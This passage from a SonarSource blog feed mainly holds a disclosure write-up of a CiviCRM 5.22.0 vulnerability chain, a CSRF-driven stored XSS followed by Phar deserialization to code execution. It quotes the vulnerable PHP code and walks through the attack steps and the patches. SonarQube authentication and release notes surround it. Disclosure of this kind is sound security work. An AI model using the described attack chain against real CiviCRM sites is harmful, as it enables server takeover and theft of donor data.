Directory). Once that is in place, SonarQube will systematically submit all login requests to the 3rd-party LDAP server. Note that if the user account does not yet exist in SonarQube, it will be provisioned on the spot as access is granted (process often referred to as ‘just-in-time provisioning’).&lt;/p&gt;&lt;h3&gt;Auto-synch of Name and email via LDAP&lt;/h3&gt;&lt;p&gt;Associating your full name and email address with your user ID is standard practice, and SonarQube handles that auto-synchronization, so it can use the information throughout the UI and in its notifications. The SonarQube-LDAP integration systematically and automatically updates these user records on the fly, each time the user logs in. Beyond central authentication, this helps ensure consistency of user information across your IT setup.&lt;/p&gt;&lt;h3&gt;Going the extra mile: support for multiple LDAP servers and multiple security protocols&lt;/h3&gt;&lt;p&gt;LDAP deployments can range from single-location to worldwide geo-distributed setups where multiple LDAP Servers are meshed together in serving the company’s needs. At SonarSource we are continuously listening to feedback and have built the LDAP functionality that helps such global businesses in truly going all-in with LDAP:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Support for multiple LDAP servers: SonarQube can be connected to different LDAP servers. This allows concatenation of distinct directories, and also enables redundancy.&lt;/li&gt;&lt;li&gt;Support multiple authentication methods: SonarQube itself needs to authenticate to the LDAP server for security purposes (prior to exchanging any user information). SonarQube offers support for the standard protocols used in such context: CRAM-MD5 , DIGEST-MD5 &amp;amp; GSSAPI .&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Last but not least: SonarQube and Microsoft Active Directory&lt;/h3&gt;&lt;p&gt;While LDAP and Active Directory are different Directory Services, it’s important to keep in mind that Microsoft Active Directory does support the LDAP Protocol! This means that all of the LDAP integration functionality described above, is equally available when connecting SonarQube to an Active Directory server!&lt;/p&gt;&lt;h2&gt;Going the extra mile: SSO with SonarQube&lt;/h2&gt;&lt;p&gt;While LDAP integration still requires users to feed in their user/password information in each individual tool, SSO (Single-Sign On) offers to delegate authentication to your Identity Provider and thereby provides users with a single login experience and a seamless experience of launching business applications with authentication happening behind the scenes. &lt;/p&gt;&lt;h3&gt;SAML authentication (Okta; OneLogin; Azure AD etc.)&lt;/h3&gt;&lt;p&gt;With SonarQube you can delegate authentication to a SAML 2.0 Identity Provider. After the initial configuration is made, SonarQube will display a ‘Log in with SAML’ button for users to authenticate, from which point with SAML protocol will take it from there to allow (or deny!) the authentication.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/3759266f-ab72-4910-82e3-782c464b9a41/d40eaac6-8e60-42fd-95a4-d63003e9411b_saml.png.jpg&quot; /&gt;&lt;p&gt;Multiple SAML Identity Providers (Okta ; Auth0 ; OneLogin; Keycloak ; etc.) exist, and various online tutorials are available (for example: &lt;a href=&quot;https://docs.microsoft.com/en-us/azure/active-directory/saas-apps/sonarqube-tutorial&quot;&gt;Azure Active Directory SSO with Sonarqube&lt;/a&gt;). Our &lt;a href=&quot;https://community.sonarsource.com/&quot;&gt;Community Forum&lt;/a&gt; is a good place to exchange examples and best-practices for each. For example, if you’re interested in reading more on the SAML topic:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://community.sonarsource.com/t/sonarqube-and-saml-authentication-with-okta/25840&quot;&gt;A guide to SonarQube and SAML Authentication with Okta&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://community.sonarsource.com/t/sonarqube-and-saml-authentication-with-onelogin/35829&quot;&gt;A guide to SonarQube and SAML authentication with OneLogin&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;HTTP-header authentication&lt;/h3&gt;&lt;p&gt;This additional authentication setup consists of proxying SonarQube behind a server that will handle authentication of all HTTP requests. See our documentation to learn more about &lt;a href=&quot;https://docs.sonarqube.org/latest/instance-administration/delegated-auth/#header-2&quot;&gt;HTTP Header Authentication&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Authentication via DevOps Platforms (GitHub SSO ; GitLab SSO)&lt;/h2&gt;&lt;p&gt;We’re staying on the topic of SSO, but this time tying it in with the DevOps Platforms your dev teams are using daily. Platforms like GitHub or GitLab have gone far beyond offering ‘Code Repositories’, and truly offer a suite of functionalities for development teams to manage their codebases, do code reviews, run automated checks and even deploy their application(s). They are essentially central platforms for dev teams, and in that spirit can even be used as a central authentication backend!&lt;/p&gt;&lt;p&gt;If you’ve already done the work of mirroring your users and groups in one of these DevOps platforms, SonarQube can take advantage and use it for authentication. SonarQube 8.9 LTS supports SSO via GitHub (GitHub Enterprise or GitHub.com) and also GitLab (GitLab Self-Managed and GitLab.com).&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/ef1beeba-a038-443f-bd95-c2a2220d444c/a460e36f-5a43-460a-9dde-6b20cb97c41e_devops.png.jpg&quot; /&gt;&lt;p&gt;Users’ authentication will redirect through the platform and, aside from the first time where they must explicitly grant SonarQube permission (to log them in this way), this will then be seamless once they have a current active session.&lt;/p&gt;&lt;h2&gt;Bringing it all together: delegating Authorization with SonarQube&lt;/h2&gt;&lt;p&gt;You’ve now seen all the various options SonarQube offers to delegate authentication, and smoothly integrate with any existing setup you would have. But using a tool is more than getting to log in: permissions play a big role in what each user can do within the tool, and permissions are often managed for groups of users.&lt;/p&gt;&lt;p&gt;Whether it’s LDAP, Active Directory, GitHub or others, they all offer the ability to manage groups of users, and organize the user base accordingly. So when you delegate authentication, you wouldn’t want to still manually have to replicate group membership, you want to delegate that too!&lt;/p&gt;&lt;p&gt;SonarQube fully supports the delegation of authorization via groups, allowing you to centralize your entire management of users, groups and permissions.&lt;/p&gt;&lt;h3&gt;RBAC - Role Based Access Control&lt;/h3&gt;&lt;p&gt;SonarQube ties in with your role-based access control (RBAC) setup by pulling group membership information from your Directory Service. If a group with the same name exists in SonarQube, with specific permissions assigned to it, the user will automatically inherit these permissions (at login time). We call this ‘Group Mapping’, and it can be enabled with each of the above user authentication methods.&lt;/p&gt;&lt;p&gt;Here’s an example of the configuration to enable group mapping with GitLab:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/27456345-3921-4a49-af3e-b4ec1538d1a2/syncronize%20user%20groups.jpg&quot; /&gt;&lt;h2&gt;Time to try it all out!&lt;/h2&gt;&lt;p&gt;Now that you’ve discovered the various ways SonarQube can integrate with your user authentication and authorization setup, we can only recommend one next step: try it out in practice! Each of these methods only requires a quick config (detailed in our &lt;a href=&quot;https://docs.sonarqube.org/latest/instance-administration/delegated-auth/&quot;&gt;documentation&lt;/a&gt;), and you’ll then get to experience first-hand what the user login and user management experience looks like. This is also a good opportunity to leverage the staging licenses you are entitled to if you use a commercial edition of SonarQube.&lt;/p&gt;&lt;p&gt;This wraps up our first entry of &lt;em&gt;Enterprise-ready. &lt;/em&gt;We hope you discovered how SonarQube is &lt;em&gt;ready&lt;/em&gt; indeed, to integrate with your existing Enterprise Authentication and Authorization setup.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[CiviCRM 5.22.0 - Code Execution Vulnerability Chain Explained]]></title><description><![CDATA[We discovered critical code vulnerabilities in CiviCRM, a popular CRM plugin for Wordpress, Joomla and Drupal. Learn more about how to find and patch these issues.]]></description><link>https://www.sonarsource.com/blog/civicrm-code-execution-vulnerability-chain-explained</link><guid isPermaLink="false">9cdffd75-d9b2-5024-9c06-43d18821aa56</guid><dc:creator><![CDATA[Dennis Brinkrolf]]></dc:creator><pubDate>Mon, 21 Jun 2021 22:00:00 GMT</pubDate><content:encoded>&lt;p&gt;During our vulnerability research on the largest CMS systems we came across CiviCRM last year. It’s an open source CRM plugin for the most popular CMS systems like Wordpress, Joomla, Drupal, and Backdrop. CiviCRM is specifically designed for the needs of non-profit, non-governmental, and advocacy groups, and serves as an association management system. According to CiviCRM, it has been used by more than 11,000 organizations, processed more than 116 million donations, and managed 189 million contacts which makes it an attractive target for cyber criminals.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In our analysis we discovered several critical code vulnerabilities in CiviCRM version 5.22.0. A combination of these vulnerabilities allowed remote attackers to execute arbitrary system commands on any CiviCRM instance running on WordPress and to fully compromise the server and its data. In this blog post we analyze the technical root cause of two different security issues and demonstrate how attackers could exploit these. We reported all issues responsibly to the affected vendor who released multiple security patches to protect all users against attacks.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;During the analysis of CiviCRM 5.22.0, we found a CSRF vulnerability (CVE-2020-36389) that led to a Stored XSS vulnerability. Both vulnerabilities were fixed in CiviCRM version 5.28.1 and 5.27.5 ESR. Additionally, we discovered a Phar Deserialization vulnerability leading to PHP code execution (CVE-2020-36388). The issue was fixed in CiviCRM version 5.24.3 and 5.21.3.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A combination of all vulnerabilities could allow a remote attacker to execute arbitrary system commands on any CiviCRM instance. As a result, the underlying CMS such as WordPress is compromised too. In order to successfully execute the attack, an authenticated administrator is lured to a malicious page that embeds a form that automatically sends a request to the website, including the administrator&amp;#x27;s cookies, which allows gaining Remote Code Execution capabilities.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For demonstration purposes we’ve created a short video that shows how quick and easy a server is compromised.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/K92sWAv9Oi8&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Technical Details&lt;/h2&gt;&lt;p&gt;In the following, we look at the root cause of two vulnerabilities in the source code of CiviCRM. First we introduce the stored XSS that can be exploited via CSRF. In the next step, we analyse the root cause of a Phar Deserialization vulnerability.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;The Attacker’s Entry Point (CVE-2020-36389)&lt;/h3&gt;&lt;p&gt;The administration interface of CiviCRM uses the CKEditor, a rich text editor that enables direct editing and writing of configuration files. Here, a &lt;code&gt;run()&lt;/code&gt; method is used (see code below) that is called each time the editor is accessed. In line 56, the filename of the current config that will be saved is received via &lt;code&gt;$_REQUEST[&amp;#x27;present&amp;#x27;]&lt;/code&gt;. In line 63, the &lt;code&gt;save()&lt;/code&gt; method is called with attacker-controlled POST parameters. No CSRF tokens are verified, which results in a CSRF vulnerability (CVE-2020-36389). You can find more details about how CSRF attacks work in our &lt;a href=&quot;https://www.sonarsource.com/blog/hack-the-stack-with-localstack/&quot;&gt;LocalStack blog post&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;civicrm/CRM/Admin/Page/CKEditorConfig.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;?php
// ...
public function run() {
    $this-&gt;preset = CRM_Utils_Array::value( &apos;preset&apos;, $_REQUEST, &apos;default&apos; );
    //...
    elseif ( ! empty( $_POST[&apos;config&apos;] ) ) {
        $this-&gt;save( $_POST );
    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The &lt;code&gt;save()&lt;/code&gt; method constructs a config file from the POST parameters passed and saves the resulting config into a JavaScript file. This allows an attacker to write JavaScript files on the target host via CSRF. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let’s have a look at how the content of this file is created. In line 110 in the code below, a default file header is prepended to the configuration file and in lines 113 - 129 the content of the configuration file is composed. Thereby each POST parameter name is processed that starts with &lt;code&gt;config_&lt;/code&gt;  in line 115. The name and value of the POST parameters are concatenated in line 126 and added to the &lt;code&gt;$config&lt;/code&gt; in line 127. In line 130, the &lt;code&gt;saveConfigFile()&lt;/code&gt; method is called with the attacker-controlled variable (&lt;code&gt;$config&lt;/code&gt;) and partially controlled file name (&lt;code&gt;$this-&amp;gt;present&lt;/code&gt;).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;civicrm/CRM/Admin/Page/CKEditorConfig.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;?php
// ...
public function save( $params ) {
    $config = self::fileHeader()
    // Standardize line-endings
        . preg_replace( &apos;~\R~u&apos;, &quot;\n&quot;, $params[&apos;config&apos;] );
    // Use all params starting with config_
    foreach ( $params as $key =&gt; $val ) {
        if ( strpos( $key, &apos;config_&apos; ) === 0 &amp;&amp; strlen( $val ) ) {
            $val = json_encode( $val, JSON_UNESCAPED_SLASHES );
            $pos = strrpos( $config, &apos;};&apos; );
            $key = preg_replace( &apos;/^config_/&apos;, &apos;config.&apos;, $key );
            $setting = &quot;\n\t{$key} = {$val};\n&quot;;
            $config  = substr_replace( $config, $setting, $pos, 0 );
        }
    }
    self::saveConfigFile( $this-&gt;preset, $config );
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;An attacker can skip lines 115 - 129 by sending a single POST field consisting of the key &lt;code&gt;config&lt;/code&gt; with an arbitrary value, since the key does not start with &lt;code&gt;config_&lt;/code&gt;. This allows the attacker to insert any content after the file header. It is important to note that the file header itself consists of a multi-line comment and thus does not cause JavaScript syntax errors which could terminate the execution of the JavaScript.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let’s have a look at the name of the file to which this content is written. In line 238 of the following code the filename of the configuration file is composed and in line 239 the content of the file is written. The partial attacker-controlled file name has the following format:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;crm-ckeditor-&lt;strong&gt;$preset&lt;/strong&gt;.js&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The only attacker controlled information in this filename is &lt;code&gt;$preset&lt;/code&gt;&lt;strong&gt;.&lt;/strong&gt; A path traversal attack is not feasible since a folder &lt;code&gt;crm-ckeditor-&lt;/code&gt; would have to be located above the current directory. Also, the filename would always have the &lt;code&gt;.js&lt;/code&gt; extension which is another limitation.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;civicrm/CRM/Admin/Page/CKEditorConfig.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;?php
// ...
public static function saveConfigFile( $preset, $contents ) {
    $file = Civi::paths()-&gt;getPath( self::CONFIG_FILEPATH . $preset . &apos;.js&apos; );
    file_put_contents( $file, $contents );
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;At first glance, this vulnerability does not seem particularly critical. But from an attacker&amp;#x27;s point of view, any possibility, no matter how small, is sufficient to carry out an attack. In total, the attacker needs two CSRF requests, where the first CSRF request creates an XSS payload within a config file. The second CSRF request permanently loads the previously dropped XSS config file by overwriting the CKEditor default config.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Using the first CSRF request, the attacker creates a configuration file named &lt;code&gt;crm-ckeditor-xss.js&lt;/code&gt;. In order to execute the JavaScript code without syntax errors the attacker skips lines 115 - 129 of the &lt;code&gt;save()&lt;/code&gt; method as already mentioned above.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the CKEditor config it is allowed to include another custom configuration file via the customConfig directive. The JavaScript code of the included configuration file is executed directly (CIVI-SA-2020-12). Therefore, the second CSRF request overwrites the default CKEditor configuration and includes the previously created &lt;code&gt;crm-ckeditor-xss.js&lt;/code&gt; via a directive which includes the XSS payload. Combining both CSRF requests causes a stored XSS in the entire backend every time the CKEditor is invoked.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;Code Execution via Phar Deserialization (CVE-2020-36388)&lt;/h3&gt;&lt;p&gt;In this step we explain how an attacker can take further steps to compromise a CiviCRM instance. Through the stored XSS, the attacker is now able to execute JavaScript in the browser of the administrator, which can perform arbitrary actions within the web application.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, an administrator does not always have the access privileges to features that allow to control the server, it depends on the configuration of the CMS and the server. Therefore in most cases, attackers try to extend their capabilities, e.g. to execute code on the server. In the following, we introduce another vulnerability that can be used by an attacker to escalate their privileges.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We found this code vulnerability in the Badge component (see code below). In line 22 the user controlled variable &lt;code&gt;$img&lt;/code&gt; from line 21 is passed to the &lt;code&gt;getImageProperties()&lt;/code&gt;method without any further checks.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;civicrm/CRM/Badge/Page/AJAX.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;?php
// ...
public static function getImageProp() {
    $img = $_GET[&apos;img&apos;];
    list($w, $h) = CRM_Badge_BAO_Badge::getImageProperties($img);
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In line 399 (see code below) the user controlled variable &lt;code&gt;$img&lt;/code&gt; is passed directly to the PHP internal function &lt;code&gt;getimagesize()&lt;/code&gt;, which is vulnerable to &lt;a href=&quot;https://www.sonarsource.com/blog/new-php-exploitation-technique/&quot;&gt;Phar Deserialization&lt;/a&gt;. Because an attacker can control the entire string, the attacker is able to deserialize objects via the &lt;code&gt;phar://&lt;/code&gt; wrapper.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;civicrm/CRM/Badge/BAO/Badge.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;?php
// ...
public static function getImageProperties($img, $imgRes = 300, $w = NULL, $h = NULL) {
    $imgsize = getimagesize($img);
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In order to exploit the Phar Deserialization vulnerability as an attacker, an image must be uploaded to the file system that contains Phar metadata. Then the &lt;code&gt;getImageProp()&lt;/code&gt;method can be called via an Ajax request, whereby the &lt;code&gt;img&lt;/code&gt; parameter points to the path of the previously uploaded image. We found gadgets in the CiviCRM core that allowed us to execute code. This is a strong primitive for an attacker since some CMS systems do not contain any known gadgets. However the vulnerability can only be exploited as an administrator, which is possible via the stored XSS described above.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;All in all, the Phar Deserialization leads to code execution in WordPress, other CMS systems like Joomla prevent deserialization of Phar metadata. But from an attacker&amp;#x27;s point of view, it would be possible to find a universal approach via the stored XSS that would compromise any underlying CMS.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Patches&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;CVE-2020-36389 (CSRF on CKEditor Configuration Form):&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This security issue is a classic CSRF vulnerability that can be prevented by adding cryptographically secure tokens that are validated for every sensitive request.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;CVE-2020-36388 (PHP Code Execution via Phar Deserialization):&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A potential solution is to use a custom Phar wrapper which prevents the untrusted deserialization of Phar metadata. A well-known project for this would be the custom Phar wrapper of &lt;a href=&quot;https://github.com/TYPO3/phar-stream-wrapper&quot;&gt;Typo3&lt;/a&gt;. Moreover, with PHP 8.0 the automatic deserialization from the Phar metadata was &lt;a href=&quot;https://wiki.php.net/rfc/phar_stop_autoloading_metadata&quot;&gt;disabled&lt;/a&gt;. In general, it is advised to always check which user can perform which action within a web application. It is also important to pay attention to third-party features.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2020-02-18&lt;/td&gt;&lt;td&gt;We report all issues to vendor&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2020-02-22&lt;/td&gt;&lt;td&gt;Vendor confirmed the issues&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2020-04-15&lt;/td&gt;&lt;td&gt;Vendor released patch for Phar Deserialization in version 5.24.3 and 5.21.3&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2020-08-19&lt;/td&gt;&lt;td&gt;Vendor released patch for CSRF and XSS in version 5.28.1 and 5.27.5 ESR&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this blog post we analyzed two code vulnerabilities found in CiviCRM (5.22.0), a widely used open source solution for customer relationship management written in PHP. The combination of these two vulnerabilities can lead to a complete takeover of a CiviCRM instance. We’ve evaluated the root causes in the PHP code base and described how to fix them. We reported these vulnerabilities to the vendor who confirmed and fixed the vulnerabilities quickly. We would like to thank the CiviCRM team who quickly released multiple patches after our report. If you are hosting a CiviCRM instance and have not yet updated your installation, we highly recommend to do so now.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/wordpress-csrf-to-rce/&quot;&gt;WordPress 5.1 CSRF to Remote Code Execution&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/code-vulnerabilities-in-nsa-application-revealed/&quot;&gt;Code Vulnerabilities in NSA Application Revealed&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/woocommerce-csrf-to-stored-xss/&quot;&gt;WooCommerce 3.6.4 - CSRF Bypass to Stored XSS&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/hack-the-stack-with-localstack/&quot;&gt;Hack the Stack with LocalStack: Code Vulnerabilities Explained&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[7 more reasons to upgrade to SonarQube 8.9 LTS]]></title><description><![CDATA[SonarQube 8.9 LTS is here! Not every improvement could be mentioned in the release announcement, so check out these LTS easter eggs that make this the Best LTS Ever.]]></description><link>https://www.sonarsource.com/blog/sonarqube-lts-89-extra-features</link><guid isPermaLink="false">c412b2bb-cab8-5ea3-b609-71205adead74</guid><dc:creator><![CDATA[Colin Mueller]]></dc:creator><pubDate>Tue, 15 Jun 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;SonarQube &lt;em&gt;v8.9 LTS&lt;/em&gt; was just released and we hope you’ve already &lt;a href=&quot;https://www.sonarqube.org/sonarqube-8-9-lts/&quot;&gt;seen our announcement&lt;/a&gt; and are working on your upgrade!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A new SonarQube LTS represents a huge amount of work. Since the release of the previous SonarQube &lt;em&gt;LTS (v7.9,&lt;/em&gt; in November 2019), there have been &lt;strong&gt;over 5200&lt;/strong&gt; development tickets merged in SonarQube and its underlying components. This includes new functionality, improvements to existing features, and bug fixes.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It’s &lt;strong&gt;a lot&lt;/strong&gt;, and if we tried to talk about every change we’d be here a while. Since not everything can land in our big release announcements, I want to tell you about 7 cool features you might not know are included in the SonarQube &lt;em&gt;v8.9 LTS&lt;/em&gt;.&lt;/p&gt;&lt;h2&gt;#1 - Branches and Pull Requests automatically configured in Jenkins&lt;/h2&gt;&lt;p&gt;Jenkins is an extremely popular CI tool for our users, but has always required tedious configuration for Branch Analysis / Pull Request Decoration even though the scanner could automatically detect the right values for other CIs.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;You can finally kiss the manual configuration of &lt;code&gt;sonar.branch.name&lt;/code&gt; or &lt;code&gt;sonar.pullrequest.key&lt;/code&gt; goodbye (and remove them from your pipelines) now that SonarQube automatically detects the right values. It’s easier than ever to start analyzing code from your Jenkins pipeline.&lt;/p&gt;&lt;h2&gt;#2 -  Turn off the Quality Gate “Fudge Factor”&lt;/h2&gt;&lt;p&gt;Since SonarQube &lt;em&gt;v6.6&lt;/em&gt; (!), it has been hard coded into SonarQube that Quality Gate conditions on Coverage and Duplication should not be evaluated when less than 20 lines of code are in the New Code Period.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This was done because of our own experiences with &amp;quot;diminishing returns&amp;quot; situations where the cumulative change sets were small and one or two uncovered lines caused the project to fail the Quality Gate.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;After receiving feedback from users and customers, we understood that there are teams and industries who need to be absolutely sure that even their smallest changesets meet these conditions. And so in the spirit of continuous improvement (and hearing your feedback!) this behaviour is now configurable! It can be adjusted at both the instance and project-level, with the default behaviour still being the permissive option.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/1e249b3f-9df1-45df-bba9-6744bd05fc86/body-7fdd793f-dd8c-4a05-9904-8ebc1a98cd95_%25232-1.png&quot; /&gt;&lt;h2&gt;#3 - Projects are provisioned on first analysis -- no matter which branch (or pull request)&lt;/h2&gt;&lt;p&gt;You no longer have to worry about pre-provisioning a project before analysis if your main branch is named something other than master.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This helps users who choose to have projects provisioned automatically when a project key is used for the first time.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Whether you have a main branch named develop, or the first analysis of your project is a pull request, your project will get provisioned and analysis will succeed.&lt;/p&gt;&lt;h2&gt;#4 - Support for new language versions&lt;/h2&gt;&lt;p&gt;Programming languages are constantly evolving and new versions are regularly being released. SonarQube &lt;em&gt;v8.9 LTS&lt;/em&gt; adds support for the latest versions of the programming languages you’re using, making sure analysis doesn’t fail on new language features and that rules stay relevant even in a new context.&lt;/p&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Language&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;SonarQube v7.9 (former LTS)&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;SonarQube v8.9 LTS&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;C#&lt;/td&gt;&lt;td&gt;8&lt;/td&gt;&lt;td&gt;9*&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;C++&lt;/td&gt;&lt;td&gt;C++17&lt;/td&gt;&lt;td&gt;C++20 (partial)&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;Java&lt;/td&gt;&lt;td&gt;12&lt;/td&gt;&lt;td&gt;15&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;JavaScript&lt;/td&gt;&lt;td&gt;ECMAScript 2017&lt;/td&gt;&lt;td&gt;ECMAScript 2020&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;Kotlin&lt;/td&gt;&lt;td&gt;1.3&lt;/td&gt;&lt;td&gt;1.4&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;PHP&lt;/td&gt;&lt;td&gt;7.3&lt;/td&gt;&lt;td&gt;8.0&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;Python&lt;/td&gt;&lt;td&gt;3.7&lt;/td&gt;&lt;td&gt;3.9&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;Ruby&lt;/td&gt;&lt;td&gt;2.5&lt;/td&gt;&lt;td&gt;3.0&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;Swift&lt;/td&gt;&lt;td&gt;5.1&lt;/td&gt;&lt;td&gt;5.3&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;TypeScript&lt;/td&gt;&lt;td&gt;2.2&lt;/td&gt;&lt;td&gt;4.2&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&lt;em&gt;* Rome wasn’t built in a day. :) SonarQube no longer fails to analyze C# 9 projects, but full support is still to come&lt;/em&gt;&lt;/p&gt;&lt;h2&gt;#5 - Connect to multiple instances of a DevOps Platform (and make sure it’s done right!)&lt;/h2&gt;&lt;p&gt;It’s now possible to configure multiple instances of a DevOps platform to use for features like Pull Request Decoration. While previously only one of each supported platform could be configured, now the limit does not exist. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This is great for organizations who are migrating between on-prem and cloud versions of their DevOps platform, or who simply face a complex development-tool landscape internally.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/137114cb-4fec-4901-ad47-0b751fbd844b/body-e4f25373-bad2-411b-9114-d4ab644666a9_%25235-1.png&quot; /&gt;&lt;p&gt;This feature really makes sense for larger organizations, which is why it’s included in the Enterprise Edition of SonarQube and 